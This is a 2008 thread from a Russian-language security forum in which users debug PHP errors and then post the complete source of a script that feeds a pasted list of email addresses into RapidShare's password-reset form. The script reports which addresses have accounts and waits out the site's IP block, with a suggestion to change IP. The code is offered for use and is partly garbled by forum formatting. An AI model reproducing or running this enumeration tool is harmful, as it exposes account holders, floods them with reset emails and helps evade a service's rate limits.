HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 06.02.2008, 17:38
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Если бы он стоял, не было бы ошибки...
 

  #12  
Старый 06.02.2008, 17:43
AnonyHamster
Новичок
Регистрация: 26.01.2008
Сообщений: 7
Провел на форуме:
97053

Репутация: 5
По умолчанию

Так что делать с
Цитата:
unexpected T_SL in rapid.php on line 82
 

  #13  
Старый 06.02.2008, 17:55
bul.666
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705

Репутация: 1403


Отправить сообщение для bul.666 с помощью ICQ
По умолчанию

2AciD_FreaK
В файле php.ini
Найди строку или если её нет то добавь
extension=php_curl.dll

Обрати внимание, чтобы не было точки запятой в начале строки...
Предварительно проверь наличие саамого модуля
 

  #14  
Старый 06.02.2008, 17:56
Хозяин
Постоянный
Регистрация: 15.03.2006
Сообщений: 600
Провел на форуме:
5091304

Репутация: 1203


По умолчанию

AnonyHamster

Цитата:
Это
PHP код:
<<<CLOCK 
        
<script
        
waitingTime $waitingTime
        function 
showClock() 
        { 
            
clockHolder document.getElementById("clock"); 
            
clockHolder.innerHTML waitingTime--; 
        } 
        
showClock(); 
        
window.setInterval(showClock,1000); 

        </
script
CLOCK
Замени на это:

PHP код:
'CLOCK 
        <script> 
        waitingTime = $waitingTime; 
        function showClock() 
        { 
            clockHolder = document.getElementById("clock"); 
            clockHolder.innerHTML = waitingTime--; 
        } 
        showClock(); 
        window.setInterval(showClock,1000); 

        </script> 
CLOCK'

bul.666, я знаю как комментируются строки в php.ini ))
Проверил уже и строку и модуль
 

  #15  
Старый 06.02.2008, 17:56
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Тогда замените
PHP код:
$clockScript=
<<<CLOCK
        <script>
        waitingTime = 
$waitingTime;
        function showClock()
        {
            clockHolder = document.getElementById("clock");
            clockHolder.innerHTML = waitingTime--;
        }
        showClock();
        window.setInterval(showClock,1000);

        </script>
CLOCK;
                echo 
$clockScript
На
PHP код:
echo "<script>
        waitingTime = 
$waitingTime;
        function showClock()
        {
            clockHolder = document.getElementById('clock');
            clockHolder.innerHTML = waitingTime--;
        }
        showClock();
        window.setInterval(showClock,1000);

        </script>"

 

  #16  
Старый 06.02.2008, 18:32
Хозяин
Постоянный
Регистрация: 15.03.2006
Сообщений: 600
Провел на форуме:
5091304

Репутация: 1203


По умолчанию

Разобрался с курлом, пашет все.

еще один момент:

допишите в начало скрипта:
PHP код:
set_time_limit (0);
ini_set('max_execution_time',0); 
А то вылетит это чудо у вас
 

  #17  
Старый 06.02.2008, 23:56
-=[AL!EN]=-
Познающий
Регистрация: 29.08.2007
Сообщений: 86
Провел на форуме:
794506

Репутация: 47
Отправить сообщение для -=[AL!EN]=- с помощью ICQ
По умолчанию

дайте окончательный код скрипта, штоле...
++
 

  #18  
Старый 07.02.2008, 02:24
Хозяин
Постоянный
Регистрация: 15.03.2006
Сообщений: 600
Провел на форуме:
5091304

Репутация: 1203


По умолчанию

PHP код:
<?php 
set_time_limit 
(0);
ini_set('max_execution_time',0);

    
session_start(); 

    
$browserData = array(); 
    
$browserData[CURLOPT_USERAGENT]      = "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
    
$browserData[CURLOPT_FOLLOWLOCATION] = true
    
$browserData[CURLOPT_COOKIESESSION]  = true
    
$browserData[CURLOPT_COOKIEFILE]     = "cookie"
    
$browserData[CURLOPT_COOKIEJAR]      = "cookie"

    function 
curlInit($link,&$browserData,$ssh false
    { 
        
$ch curl_init($link); 
        
curl_setopt($chCURLOPT_SSL_VERIFYPEER, !$ssh); 
        
curl_setopt_array ($ch,$browserData); 

        return 
$ch
    } 
    function 
array2postFields($data
    { 
        
$data = (array) $data

        
$postData ""
        foreach(
$data as $name => $value
            
$postData .= $name "=" $value "&"
        
$postData substr($postData,0,-1); 

        return 
$postData
    } 

    class 
rapidshare 
    

        function 
__construct(&$browserData
        { 
            
$this->browserData = &$browserData
            
$this->link "http://rapidshare.com/cgi-bin/forgotpw.cgi"
        } 

        function 
requestpassword($username
        { 
            
$ch curlInit($this->link,$this->browserData,false); 

            
$data = array("email"=>$username); 

            
curl_setopt($chCURLOPT_POSTtrue); 
            
curl_setopt($chCURLOPT_POSTFIELDS,array2postFields($data)); 
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue); 
            
$responseText curl_exec($ch); 
            
curl_close($ch); 


            return 
$responseText


        } 

        function 
translateResponse($responseText
        { 
            
$responseRegexs = array( 
                                        
"noaccounts" => "No accounts found. Please try again"
                                        
"valid"      => "accounts and sent the data to your e-mail address"
                                        
"invalid"    => "E-Mail address invalid!"
                                        
"ipblocked"  => "Too many password requests from your IP-Address! Please try again in one hour" 
                                    
); 
            foreach(
$responseRegexs as $name => $value
                if (
preg_match('%' $value '%'$responseText)) 
                    return 
$name
            return 
false
        } 
        function 
testUser(&$user
        { 
            
$responseText $this->requestpassword($user["username"]); 

            
$response $this->translateResponse($responseText); 

            if(
$response == "ipblocked" || !$response
            { 
                echo 
"<div style='margin-bottom:2%;'>IP BLOCKED. Next try in <span id='clock'></span> seconds. Leave the window opened for autorefresh, or change your ip</div>"
                
$waitingTime 3610
 echo 
"<script> 
        waitingTime = 
$waitingTime
        function showClock() 
        { 
            clockHolder = document.getElementById('clock'); 
            clockHolder.innerHTML = waitingTime--; 
        } 
        showClock(); 
        window.setInterval(showClock,1000); 

        </script>"


                echo 
"<META HTTP-EQUIV='Refresh' CONTENT='{$waitingTime};URL='>"
                return 
false
            } 
            else 
            { 
                
$user["response"] = $response
                return 
true
            } 

        } 
    } 
?> 

<body style="background-color:black;color:white"> 
<?php 

    
if(isset($_GET["reset"])) 
        
$_SESSION = array(); 

    
$users   = &$_SESSION["users"]; 
    
$info    = &$_SESSION["info"]; 

    if(!isset(
$users)) 
    { 
        if(!empty(
$_POST["users"])) 
        { 
                function 
validUsername(&$username
                { 
                    
$username strtolower($username); 
                    return 
preg_match('/\A[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\Z/',$username); 
                } 
                
$users = array(); 
                
$lines explode("\n",$_POST["users"]); 
                foreach(
$lines as $line
                { 
                    if (
get_magic_quotes_gpc()) 
                        
$line stripslashes($line); 

                    
$username trim($line); 

                    if(
validUsername($username)) 
                    { 
                        
$users[] = array( 
                                            
"username" => $username
                                            
"response" => false 
                                         
); 
                    } 
                } 

                
$info["nUsers"]      = count($users); 
                
$info["currentUser"] = 0

                if(!
$info["nUsers"]) 
                { 
                    
$_POST = array(); 
                    
$_SESSION = array(); 
                } 
        } 

        if(empty(
$_POST["users"])) 
        { 
            
?> 
            <div>Give me some list of emails</div> 
            <div>You can freely refresh the window</div> 
            <form action="?" method="POST"> 
            <textarea cols="50" rows="25" name="users" onclick="this.innerHTML='',this.onclick=''">mafia@xeka.ru 
billy@microsoft.com</textarea><br> 
            <input type="submit" value="submit"> 
            </form> 
            <?php 
        

    } 

    if(isset(
$users)) 
    { 
        
$rapidshare = new rapidshare($browserData); 

        
$exec $_GET["exec"]; 

        if(isset(
$exec)) 
        { 
            for(
$n $info["currentUser"] ; $n $info["nUsers"]; $n++) 
            { 
                if (
$rapidshare->testUser($users[$n])) 
                    
$info["currentUser"]++; 
                else 
                { 
                    break; 
                } 
            } 
        } 

        echo 
"Tested: " $info["currentUser"] . " users<br><br>"

        for(
$n $n $info["currentUser"]; $n++) 
        { 
            
$user $users[$n]; 
            
printf("Username: %s - ",$user["username"]); 

            switch(
$user["response"]) 
            { 
                case 
"invalid"
                { 
                    echo 
"doesn't work. invalid"
                    break; 
                } 
                case 
"noaccounts"
                { 
                    echo 
"doesn't work"
                    break; 
                } 
                case 
"valid"
                { 
                    echo 
"<b>just WORKS!</b>"
                    break; 
                } 
                default: 
                { 
                    echo 
".unable to test. Contact the author"
                } 
            } 
            echo 
"<br>"
        } 
        echo 
"<div><a href='?exec'>EXEC</a></div>"

    } 




?> 
<div><a href="?reset">RESET</a></div> 
</body>
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
RapidShare.com Talisman Болталка 25 20.01.2008 02:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ